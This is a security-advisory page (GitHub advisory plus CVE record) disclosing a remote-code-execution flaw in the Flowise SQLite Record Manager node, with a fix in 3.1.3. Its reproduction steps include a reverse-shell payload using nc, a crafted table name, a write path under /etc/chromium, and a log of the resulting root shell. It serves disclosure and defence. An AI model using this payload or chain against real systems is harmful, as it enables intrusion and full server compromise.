GHSA-X3HF-7CJ6-3R4M

Vulnerability from github – Published: 2026-08-04 16:05 – Updated: 2026-08-04 16:05

Summary

Flowise RCE via SQLite Record Manager Node

Details

============================================================================= Security Advisory elttam

Topic: Flowise RCE via SQLite Record Manager Node

Module: FlowiseAI/Flowise Disclosed: 24-Apr-2026 Credits: Alex Brown Affects: FlowiseAI/Flowise 3.1.2

I. Background

Flowise AI is an open-source, low-code platform for building AI applications—such as chatbots, workflows, and autonomous agents—through an intuitive drag-and-drop interface, minimising the need for extensive coding.

Flowise allows users to connect to a local SQLite database for record management of Upsert Vector Store operations.

II. Problem Description

The database path for the "SQLite Record Manager" node could be overridden using the additionalConfig input, as demonstrated in the following code snippet.

https://github.com/FlowiseAI/Flowise/blob/flowise-components@3.1.2/packages/components/nodes/recordmanager/SQLiteRecordManager/SQLiteRecordManager.ts

class SQLiteRecordManager_RecordManager implements INode {
    ...
    async init(nodeData: INodeData, _: string, options: ICommonObject): Promise<any> {
        const _tableName = nodeData.inputs?.tableName as string
        const tableName = _tableName ? _tableName : 'upsertion_records'
        const additionalConfig = nodeData.inputs?.additionalConfig as string <1>
        const _namespace = nodeData.inputs?.namespace as string
        const namespace = _namespace ? _namespace : options.chatflowid
        const cleanup = nodeData.inputs?.cleanup as string
        const _sourceIdKey = nodeData.inputs?.sourceIdKey as string
        const sourceIdKey = _sourceIdKey ? _sourceIdKey : 'source'

        let additionalConfiguration = {}
        if (additionalConfig) {
            try {
                additionalConfiguration = typeof additionalConfig === 'object' ? additionalConfig : JSON.parse(additionalConfig)
            } catch (exception) {
                throw new Error('Invalid JSON in the Additional Configuration: ' + exception)
            }
        }

        const database = path.join(process.env.DATABASE_PATH ?? path.join(getUserHome(), '.flowise'), 'database.sqlite') <2>

        const sqliteOptions = {
            database,
            ...additionalConfiguration, <3>
            type: 'sqlite'
        }

        const args = {
            sqliteOptions,
            tableName: tableName
        }

        const recordManager = new SQLiteRecordManager(namespace, args)

        ;(recordManager as any).cleanup = cleanup
        ;(recordManager as any).sourceIdKey = sourceIdKey

        return recordManager
    }
}

<1> The additionalConfig input was user controllable.

<2> The intended SQLite database path.

<3> Keyword argument expansion of the additionalConfiguration variable after the database variable, which allows overwriting the preceding database setting.

An attacker could abuse this weakness to write an SQLite database to an arbitrary filepath, which includes system directories since the flowiseai/flowise:3.1.2 Docker image runs as root.

However, unlike the Flowise RCE via SQL Database Chain Node vulnerability, the executed SQL query was not user controllable and the tableName input was validated to match the /^[a-zA-Z0-9_]+$/ regex pattern, as shown in the following code snippet.

https://github.com/FlowiseAI/Flowise/blob/flowise-components@3.1.2/packages/components/nodes/recordmanager/SQLiteRecordManager/SQLiteRecordManager.ts

class SQLiteRecordManager implements RecordManagerInterface {
    ...

    sanitizeTableName(tableName: string): string {
        // Trim and normalize case, turn whitespace into underscores
        tableName = tableName.trim().toLowerCase().replace(/\s+/g, '_')

        // Validate using a regex (alphanumeric and underscores only)
        if (!/^[a-zA-Z0-9_]+$/.test(tableName)) { <1>
            throw new Error('Invalid table name')
        }

        return tableName
    }

    ...

    async createSchema(): Promise<void> {
        const dataSource = await this.getDataSource()
        try {
            const queryRunner = dataSource.createQueryRunner()
            const tableName = this.sanitizeTableName(this.tableName) <1>

            await queryRunner.manager.query(` <2>
CREATE TABLE IF NOT EXISTS "${tableName}" (
  uuid TEXT PRIMARY KEY DEFAULT (lower(hex(randomblob(16)))),
  key TEXT NOT NULL,
  namespace TEXT NOT NULL,
  updated_at REAL NOT NULL,
  group_id TEXT,
  UNIQUE (key, namespace)
);
CREATE INDEX IF NOT EXISTS updated_at_index ON "${tableName}" (updated_at);
CREATE INDEX IF NOT EXISTS key_index ON "${tableName}" (key);
CREATE INDEX IF NOT EXISTS namespace_index ON "${tableName}" (namespace);
CREATE INDEX IF NOT EXISTS group_id_index ON "${tableName}" (group_id);`)

            // Add doc_id column if it doesn't exist (migration for existing tables)
            const checkColumn = await queryRunner.manager.query(
                `SELECT COUNT(*) as count FROM pragma_table_info('${tableName}') WHERE name='doc_id';`
            )
            if (checkColumn[0].count === 0) {
                await queryRunner.manager.query(`ALTER TABLE "${tableName}" ADD COLUMN doc_id TEXT;`)
                await queryRunner.manager.query(`CREATE INDEX IF NOT EXISTS doc_id_index ON "${tableName}" (doc_id);`)
            }

            await queryRunner.release()
        } catch (e: any) {
            // This error indicates that the table already exists
            // Due to asynchronous nature of the code, it is possible that
            // the table is created between the time we check if it exists
            // and the time we try to create it. It can be safely ignored.
            if ('code' in e && e.code === '23505') {
                return
            }
            throw e
        } finally {
            await dataSource.destroy()
        }
    }

    ...

    async update(keys: Array<{ uid: string; docId: string }> | string[], updateOptions?: UpdateOptions): Promise<void> {
        if (keys.length === 0) {
            return
        }
        const dataSource = await this.getDataSource()
        const queryRunner = dataSource.createQueryRunner()
        const tableName = this.sanitizeTableName(this.tableName)

        const updatedAt = await this.getTime()
        const { timeAtLeast, groupIds: _groupIds } = updateOptions ?? {}

        if (timeAtLeast && updatedAt < timeAtLeast) {
            throw new Error(`Time sync issue with database ${updatedAt} < ${timeAtLeast}`)
        }

        // Handle both new format (objects with uid and docId) and old format (strings)
        const isNewFormat = keys.length > 0 && typeof keys[0] === 'object' && 'uid' in keys[0]
        const keyStrings = isNewFormat ? (keys as Array<{ uid: string; docId: string }>).map((k) => k.uid) : (keys as string[])
        const docIds = isNewFormat ? (keys as Array<{ uid: string; docId: string }>).map((k) => k.docId) : keys.map(() => null)

        const groupIds = _groupIds ?? keyStrings.map(() => null)

        if (groupIds.length !== keyStrings.length) {
            throw new Error(`Number of keys (${keyStrings.length}) does not match number of group_ids (${groupIds.length})`)
        }

        const recordsToUpsert = keyStrings.map((key, i) => [key, this.namespace, updatedAt, groupIds[i] ?? null, docIds[i] ?? null]) <3>

        const query = `
        INSERT INTO "${tableName}" (key, namespace, updated_at, group_id, doc_id)
        VALUES (?, ?, ?, ?, ?)
        ON CONFLICT (key, namespace) DO UPDATE SET updated_at = excluded.updated_at, doc_id = excluded.doc_id`

        try {
            // To handle multiple files upsert
            for (const record of recordsToUpsert) {
                // Consider using a transaction for batch operations
                await queryRunner.manager.query(query, record.flat())
            }
            await queryRunner.release()
        } catch (error) {
            console.error('Error updating in SQLiteRecordManager:')
            throw error
        } finally {
            await dataSource.destroy()
        }
    }
    ...
}

<1> Validates the tableName input matches the regex pattern /^[a-zA-Z0-9_]+$/.

<2> The SQL command creating the database table, which is not user controllable.

<3> The this.namespace is a user controllable input for the node.

Since the allowed characters of the tableName input were restricted, it was not possible to utilise the same technique from GHSA-pwfj-wh95-7mwp to comment out () characters within the SQLite database file that would cause a syntax error when executed as a shell script. To avoid this limitation, the binary structure of SQLite databases was investigated, where the following output shows the binary structure of the doc_id_index cell using the default upsertion_records table name.

Bytes         Raw    Decoded
──────────────────────────────────────────────────
[3574:3575]   62     payload length = 98
[3575:3576]   04     rowid = 4

── Record Header ──────────────────────────────
[3576:3577]   06     header length = 6
[3577:3578]   17     col 0 = 23  → TEXT 5 bytes   ('index')
[3578:3579]   25     col 1 = 37  → TEXT 12 bytes  ('doc_id_index')
[3579:3580]   2f     col 2 = 47  → TEXT 17 bytes  ('upsertion_records') <1>
[3580:3581]   01     col 3 = 1   → INT8 1 byte
[3581:3582]   7f     col 4 = 127 → TEXT 57 bytes  (CREATE INDEX sql)

── Record Body ────────────────────────────────
[3582:3587]   696e646578     col 0 = 'index'
[3587:3599]   646f635f69…    col 1 = 'doc_id_index'
[3599:3616]   757073657274…  col 2 = 'upsertion_records'
[3616:3617]   05             col 3 = 5  (root page = page 5)
[3617:3674]   43524541544…   col 4 = 'CREATE INDEX doc_id_index ON "upsertion_records" (doc_id)'

<1> \x2f serial type corresponds to a TEXT value that is 17 bytes long.

The length of the table name can be manipulated, and a serial type of ' corresponds to a string that is 13 bytes long. The injected ' could then be used to wrap the problematic () characters within the cell, which is then closed by the namespace input that also contains a reverse shell payload that is executed when Puppeteer launches a Chromium browser reading the malicious SQLite database from a /etc/chromium/*.conf file.

The following steps document the procedure to reproduce this issue:

Import the following Chatflow and configure the OpenAI and Weaviate nodes. Observe that the additionalConfig.database input for the SQLite Record Manager node is set to /etc/chromium/exploit.conf, which is the destination the SQLite database will be created. The tableName input is set to AAAAAAAAAAAAA, so the encoded serial type of its length would be ', and the namespace is set to '$(/usr/bin/nc 172.17.0.1 1337 -e /bin/sh) to close the previous ' and then use command substitution to execute a reverse shell payload. Perform an Upsert Vector Store operation and observe the SQLite database being created at /etc/chromium/exploit.conf.

sqlite-record-rce-poc.json

Import the following Chatflow and perform an Upsert Vector Store operation. When Puppeteer is launched, it will execute chromium-browser that sources all /etc/chromium/*.conf files, triggering the reverse shell payload as shown in the following terminal output.

sqlite-sqlchain-puppeteer-trigger.json

$ nc -lnvp 1337
Listening on 0.0.0.0 1337
Connection received on 172.17.0.2 40677
id
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
ps aux
PID   USER     TIME  COMMAND
    1 root      0:13 node /usr/local/bin/flowise start
   18 root      0:00 [sh]
   30 root      0:00 {chromium-browse} /bin/sh /usr/bin/chromium-browser --allow-pre-commit-input --disable-background-networking --disable-background-timer-throttling --disable-backgrounding-occluded-windows --disable-breakpad --disable-client-side-phishing-detection --disable-component-extensions-with-background-pages --disable-component-update --disable-default-apps --disable-dev-shm-usage --disable-features=Translate,BackForwardCache,AcceptCHFrame,MediaRouter,OptimizationHints --disable-hang-monitor --disable-ipc-flooding-protection --disable-popup-blocking --disable-prompt-on-repost --disable-renderer-backgrounding --disable-sync --enable-automation --enable-blink-features=IdleDetection --enable-features=NetworkServiceInProcess2 --export-tagged-pdf --force-color-profile=srgb --metrics-recording-only --no-first-run --password-store=basic --use-mock-keychain --headless=new --hide-scrollbars --mute-audio about:blank --no-sandbox --remote-debugging-port=0 --user-data-dir=/tmp/puppeteer_dev_chrome_profile-AnFBBC
   31 root      0:00 /bin/sh
   33 root      0:00 ps aux

III. Impact

An authenticated user on a Flowise instance using the published Docker image could exploit this vulnerability to achieve RCE, resulting in full compromise of the application.

IV. Solution

Consider performing the following remediation activities:

Ensure that the additionalConfig input could not be abused to overwrite the database property to an arbitrary file path.
Use a low-privileged user for container runtimes instead of the privileged root user, since the root user has file access to the entire filesystem of the container.

Severity

9.4 (Critical)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.1.2"
      },
      "package": {
        "ecosystem": "npm",
        "name": "flowise"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.1.2"
      },
      "package": {
        "ecosystem": "npm",
        "name": "flowise-components"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-69259"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-04T16:05:10Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "=============================================================================\n                                                            Security Advisory\n                                                                       elttam\n\nTopic:          Flowise RCE via SQLite Record Manager Node\n\nModule:         FlowiseAI/Flowise\nDisclosed:      24-Apr-2026\nCredits:        Alex Brown\nAffects:        `FlowiseAI/Flowise 3.1.2`\n\n# I.   Background\n\nFlowise AI is an open-source, low-code platform for building AI applications\u2014such as chatbots, workflows, and autonomous agents\u2014through an intuitive drag-and-drop interface, minimising the need for extensive coding.\n\nFlowise allows users to connect to a local SQLite database for record management of Upsert Vector Store operations.\n\n# II.  Problem Description\n\nThe database path for the \"SQLite Record Manager\" node could be overridden using the `additionalConfig` input, as demonstrated in the following code snippet.\n\n[https://github.com/FlowiseAI/Flowise/blob/flowise-components@3.1.2/packages/components/nodes/recordmanager/SQLiteRecordManager/SQLiteRecordManager.ts](https://github.com/FlowiseAI/Flowise/blob/flowise-components%403.1.2/packages/components/nodes/recordmanager/SQLiteRecordManager/SQLiteRecordManager.ts)\n```ts\nclass SQLiteRecordManager_RecordManager implements INode {\n    ...\n    async init(nodeData: INodeData, _: string, options: ICommonObject): Promise\u003cany\u003e {\n        const _tableName = nodeData.inputs?.tableName as string\n        const tableName = _tableName ? _tableName : \u0027upsertion_records\u0027\n        const additionalConfig = nodeData.inputs?.additionalConfig as string \u003c1\u003e\n        const _namespace = nodeData.inputs?.namespace as string\n        const namespace = _namespace ? _namespace : options.chatflowid\n        const cleanup = nodeData.inputs?.cleanup as string\n        const _sourceIdKey = nodeData.inputs?.sourceIdKey as string\n        const sourceIdKey = _sourceIdKey ? _sourceIdKey : \u0027source\u0027\n\n        let additionalConfiguration = {}\n        if (additionalConfig) {\n            try {\n                additionalConfiguration = typeof additionalConfig === \u0027object\u0027 ? additionalConfig : JSON.parse(additionalConfig)\n            } catch (exception) {\n                throw new Error(\u0027Invalid JSON in the Additional Configuration: \u0027 + exception)\n            }\n        }\n\n        const database = path.join(process.env.DATABASE_PATH ?? path.join(getUserHome(), \u0027.flowise\u0027), \u0027database.sqlite\u0027) \u003c2\u003e\n\n        const sqliteOptions = {\n            database,\n            ...additionalConfiguration, \u003c3\u003e\n            type: \u0027sqlite\u0027\n        }\n\n        const args = {\n            sqliteOptions,\n            tableName: tableName\n        }\n\n        const recordManager = new SQLiteRecordManager(namespace, args)\n\n        ;(recordManager as any).cleanup = cleanup\n        ;(recordManager as any).sourceIdKey = sourceIdKey\n\n        return recordManager\n    }\n}\n```\n\u003c1\u003e The `additionalConfig` input was user controllable.\n\n\u003c2\u003e The intended SQLite database path.\n\n\u003c3\u003e Keyword argument expansion of the `additionalConfiguration` variable after the `database` variable, which allows overwriting the preceding `database` setting.\n\nAn attacker could abuse this weakness to write an SQLite database to an arbitrary filepath, which includes system directories since the [`flowiseai/flowise:3.1.2`](https://hub.docker.com/layers/flowiseai/flowise/3.1.2/images/sha256-ddba104d8e50fbc1e72c6fe021d012be83e66d78d26816e1a6a3fddab4212eff) Docker image runs as `root`.\n\nHowever, unlike the [Flowise RCE via SQL Database Chain Node vulnerability](https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-pwfj-wh95-7mwp), the executed SQL query was not user controllable and the `tableName` input was validated to match the `/^[a-zA-Z0-9_]+$/` regex pattern, as shown in the following code snippet.\n\n[https://github.com/FlowiseAI/Flowise/blob/flowise-components@3.1.2/packages/components/nodes/recordmanager/SQLiteRecordManager/SQLiteRecordManager.ts](https://github.com/FlowiseAI/Flowise/blob/flowise-components%403.1.2/packages/components/nodes/recordmanager/SQLiteRecordManager/SQLiteRecordManager.ts)\n```ts\nclass SQLiteRecordManager implements RecordManagerInterface {\n    ...\n\n    sanitizeTableName(tableName: string): string {\n        // Trim and normalize case, turn whitespace into underscores\n        tableName = tableName.trim().toLowerCase().replace(/\\s+/g, \u0027_\u0027)\n\n        // Validate using a regex (alphanumeric and underscores only)\n        if (!/^[a-zA-Z0-9_]+$/.test(tableName)) { \u003c1\u003e\n            throw new Error(\u0027Invalid table name\u0027)\n        }\n\n        return tableName\n    }\n\n    ...\n\n    async createSchema(): Promise\u003cvoid\u003e {\n        const dataSource = await this.getDataSource()\n        try {\n            const queryRunner = dataSource.createQueryRunner()\n            const tableName = this.sanitizeTableName(this.tableName) \u003c1\u003e\n\n            await queryRunner.manager.query(` \u003c2\u003e\nCREATE TABLE IF NOT EXISTS \"${tableName}\" (\n  uuid TEXT PRIMARY KEY DEFAULT (lower(hex(randomblob(16)))),\n  key TEXT NOT NULL,\n  namespace TEXT NOT NULL,\n  updated_at REAL NOT NULL,\n  group_id TEXT,\n  UNIQUE (key, namespace)\n);\nCREATE INDEX IF NOT EXISTS updated_at_index ON \"${tableName}\" (updated_at);\nCREATE INDEX IF NOT EXISTS key_index ON \"${tableName}\" (key);\nCREATE INDEX IF NOT EXISTS namespace_index ON \"${tableName}\" (namespace);\nCREATE INDEX IF NOT EXISTS group_id_index ON \"${tableName}\" (group_id);`)\n\n            // Add doc_id column if it doesn\u0027t exist (migration for existing tables)\n            const checkColumn = await queryRunner.manager.query(\n                `SELECT COUNT(*) as count FROM pragma_table_info(\u0027${tableName}\u0027) WHERE name=\u0027doc_id\u0027;`\n            )\n            if (checkColumn[0].count === 0) {\n                await queryRunner.manager.query(`ALTER TABLE \"${tableName}\" ADD COLUMN doc_id TEXT;`)\n                await queryRunner.manager.query(`CREATE INDEX IF NOT EXISTS doc_id_index ON \"${tableName}\" (doc_id);`)\n            }\n\n            await queryRunner.release()\n        } catch (e: any) {\n            // This error indicates that the table already exists\n            // Due to asynchronous nature of the code, it is possible that\n            // the table is created between the time we check if it exists\n            // and the time we try to create it. It can be safely ignored.\n            if (\u0027code\u0027 in e \u0026\u0026 e.code === \u002723505\u0027) {\n                return\n            }\n            throw e\n        } finally {\n            await dataSource.destroy()\n        }\n    }\n\n    ...\n\n    async update(keys: Array\u003c{ uid: string; docId: string }\u003e | string[], updateOptions?: UpdateOptions): Promise\u003cvoid\u003e {\n        if (keys.length === 0) {\n            return\n        }\n        const dataSource = await this.getDataSource()\n        const queryRunner = dataSource.createQueryRunner()\n        const tableName = this.sanitizeTableName(this.tableName)\n\n        const updatedAt = await this.getTime()\n        const { timeAtLeast, groupIds: _groupIds } = updateOptions ?? {}\n\n        if (timeAtLeast \u0026\u0026 updatedAt \u003c timeAtLeast) {\n            throw new Error(`Time sync issue with database ${updatedAt} \u003c ${timeAtLeast}`)\n        }\n\n        // Handle both new format (objects with uid and docId) and old format (strings)\n        const isNewFormat = keys.length \u003e 0 \u0026\u0026 typeof keys[0] === \u0027object\u0027 \u0026\u0026 \u0027uid\u0027 in keys[0]\n        const keyStrings = isNewFormat ? (keys as Array\u003c{ uid: string; docId: string }\u003e).map((k) =\u003e k.uid) : (keys as string[])\n        const docIds = isNewFormat ? (keys as Array\u003c{ uid: string; docId: string }\u003e).map((k) =\u003e k.docId) : keys.map(() =\u003e null)\n\n        const groupIds = _groupIds ?? keyStrings.map(() =\u003e null)\n\n        if (groupIds.length !== keyStrings.length) {\n            throw new Error(`Number of keys (${keyStrings.length}) does not match number of group_ids (${groupIds.length})`)\n        }\n\n        const recordsToUpsert = keyStrings.map((key, i) =\u003e [key, this.namespace, updatedAt, groupIds[i] ?? null, docIds[i] ?? null]) \u003c3\u003e\n\n        const query = `\n        INSERT INTO \"${tableName}\" (key, namespace, updated_at, group_id, doc_id)\n        VALUES (?, ?, ?, ?, ?)\n        ON CONFLICT (key, namespace) DO UPDATE SET updated_at = excluded.updated_at, doc_id = excluded.doc_id`\n\n        try {\n            // To handle multiple files upsert\n            for (const record of recordsToUpsert) {\n                // Consider using a transaction for batch operations\n                await queryRunner.manager.query(query, record.flat())\n            }\n            await queryRunner.release()\n        } catch (error) {\n            console.error(\u0027Error updating in SQLiteRecordManager:\u0027)\n            throw error\n        } finally {\n            await dataSource.destroy()\n        }\n    }\n    ...\n}\n```\n\u003c1\u003e Validates the `tableName` input matches the regex pattern `/^[a-zA-Z0-9_]+$/`.\n\n\u003c2\u003e The SQL command creating the database table, which is not user controllable.\n\n\u003c3\u003e The `this.namespace` is a user controllable input for the node.\n\nSince the allowed characters of the `tableName` input were restricted, it was not possible to utilise the same technique from [GHSA-pwfj-wh95-7mwp](https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-pwfj-wh95-7mwp) to comment out `()` characters within the SQLite database file that would cause a syntax error when executed as a shell script. To avoid this limitation, the binary structure of SQLite databases was investigated, where the following output shows the binary structure of the `doc_id_index` cell using the default `upsertion_records` table name.\n\n```\nBytes         Raw    Decoded\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n[3574:3575]   62     payload length = 98\n[3575:3576]   04     rowid = 4\n\n\u2500\u2500 Record Header \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n[3576:3577]   06     header length = 6\n[3577:3578]   17     col 0 = 23  \u2192 TEXT 5 bytes   (\u0027index\u0027)\n[3578:3579]   25     col 1 = 37  \u2192 TEXT 12 bytes  (\u0027doc_id_index\u0027)\n[3579:3580]   2f     col 2 = 47  \u2192 TEXT 17 bytes  (\u0027upsertion_records\u0027) \u003c1\u003e\n[3580:3581]   01     col 3 = 1   \u2192 INT8 1 byte\n[3581:3582]   7f     col 4 = 127 \u2192 TEXT 57 bytes  (CREATE INDEX sql)\n\n\u2500\u2500 Record Body \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n[3582:3587]   696e646578     col 0 = \u0027index\u0027\n[3587:3599]   646f635f69\u2026    col 1 = \u0027doc_id_index\u0027\n[3599:3616]   757073657274\u2026  col 2 = \u0027upsertion_records\u0027\n[3616:3617]   05             col 3 = 5  (root page = page 5)\n[3617:3674]   43524541544\u2026   col 4 = \u0027CREATE INDEX doc_id_index ON \"upsertion_records\" (doc_id)\u0027\n```\n\u003c1\u003e `\\x2f` serial type corresponds to a `TEXT` value that is 17 bytes long.\n\nThe length of the table name can be manipulated, and a serial type of `\u0027` corresponds to a string that is 13 bytes long. The injected `\u0027` could then be used to wrap the problematic `()` characters within the cell, which is then closed by the `namespace` input that also contains a reverse shell payload that is executed when Puppeteer launches a Chromium browser reading the malicious SQLite database from a `/etc/chromium/*.conf` file.\n\nThe following steps document the procedure to reproduce this issue:\n\n1. Import the following Chatflow and configure the OpenAI and Weaviate nodes. Observe that the `additionalConfig.database` input for the SQLite Record Manager node is set to `/etc/chromium/exploit.conf`, which is the destination the SQLite database will be created. The `tableName` input is set to `AAAAAAAAAAAAA`, so the encoded serial type of its length would be `\u0027`, and the `namespace` is set to `\u0027$(/usr/bin/nc 172.17.0.1 1337 -e /bin/sh)` to close the previous `\u0027` and then use command substitution to execute a reverse shell payload. Perform an Upsert Vector Store operation and observe the SQLite database being created at `/etc/chromium/exploit.conf`.\n\n[sqlite-record-rce-poc.json](https://github.com/user-attachments/files/27053431/sqlite-record-rce-poc.json)\n\n2. Import the following Chatflow and perform an Upsert Vector Store operation. When Puppeteer is launched, it will execute `chromium-browser` that sources all `/etc/chromium/*.conf` files, triggering the reverse shell payload as shown in the following terminal output.\n\n[sqlite-sqlchain-puppeteer-trigger.json](https://github.com/user-attachments/files/27053441/sqlite-sqlchain-puppeteer-trigger.json)\n\n```terminal\n$ nc -lnvp 1337\nListening on 0.0.0.0 1337\nConnection received on 172.17.0.2 40677\nid\nuid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)\nps aux\nPID   USER     TIME  COMMAND\n    1 root      0:13 node /usr/local/bin/flowise start\n   18 root      0:00 [sh]\n   30 root      0:00 {chromium-browse} /bin/sh /usr/bin/chromium-browser --allow-pre-commit-input --disable-background-networking --disable-background-timer-throttling --disable-backgrounding-occluded-windows --disable-breakpad --disable-client-side-phishing-detection --disable-component-extensions-with-background-pages --disable-component-update --disable-default-apps --disable-dev-shm-usage --disable-features=Translate,BackForwardCache,AcceptCHFrame,MediaRouter,OptimizationHints --disable-hang-monitor --disable-ipc-flooding-protection --disable-popup-blocking --disable-prompt-on-repost --disable-renderer-backgrounding --disable-sync --enable-automation --enable-blink-features=IdleDetection --enable-features=NetworkServiceInProcess2 --export-tagged-pdf --force-color-profile=srgb --metrics-recording-only --no-first-run --password-store=basic --use-mock-keychain --headless=new --hide-scrollbars --mute-audio about:blank --no-sandbox --remote-debugging-port=0 --user-data-dir=/tmp/puppeteer_dev_chrome_profile-AnFBBC\n   31 root      0:00 /bin/sh\n   33 root      0:00 ps aux\n```\n \n# III. Impact\n\nAn authenticated user on a Flowise instance using the published Docker image could exploit this vulnerability to achieve RCE, resulting in full compromise of the application.\n\n# IV.  Solution\n\nConsider performing the following remediation activities:\n\n* Ensure that the `additionalConfig` input could not be abused to overwrite the `database` property to an arbitrary file path.\n\n* Use a low-privileged user for container runtimes instead of the privileged `root` user, since the `root` user has file access to the entire filesystem of the container.",
  "id": "GHSA-x3hf-7cj6-3r4m",
  "modified": "2026-08-04T16:05:10Z",
  "published": "2026-08-04T16:05:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-x3hf-7cj6-3r4m"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/pull/6464"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/commit/d07186844263bad057008863037466aff7c3390f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/FlowiseAI/Flowise"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Flowise RCE via SQLite Record Manager Node"
}

CVE-2026-69259 (GCVE-0-2026-69259)

Vulnerability from cvelistv5 – Published: 2026-08-04 16:05 – Updated: 2026-08-04 17:44

Title

Flowise RCE via SQLite Record Manager Node

Summary

Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.3, the SQLite Record Manager node in packages/components/nodes/recordmanager/SQLiteRecordManager/SQLiteRecordManager.ts accepted user-controlled additionalConfig and spread it after the intended database setting, allowing additionalConfig.database to overwrite the SQLite database path. An authenticated attacker using the published Docker image, which ran as root, could write a SQLite database to paths such as /etc/chromium/exploit.conf; by controlling the table name and namespace value, the attacker could place shell syntax into the database file and trigger execution when Puppeteer launched Chromium and sourced /etc/chromium/*.conf. This issue is fixed in version 3.1.3.

Severity

9.4 (Critical)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator (v2.0.3)

CWE

CWE-94 - Improper Control of Generation of Code ('Code Injection')

Assigner

GitHub_M

References

4 references

URL	Tags
https://github.com/FlowiseAI/Flowise/security/adv…	x_refsource_CONFIRM
https://github.com/FlowiseAI/Flowise/pull/6464	x_refsource_MISC
https://github.com/FlowiseAI/Flowise/commit/d0718…	x_refsource_MISC
https://github.com/FlowiseAI/Flowise/releases/tag…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
FlowiseAI	Flowise	Affected: < 3.1.3

Show details on NVD website

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{
  "containers": {
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          {
            "other": {
              "content": {
                "id": "CVE-2026-69259",
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                    "Automatable": "no"
                  },
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                "role": "CISA Coordinator",
                "timestamp": "2026-08-04T17:44:08.348755Z",
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Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.

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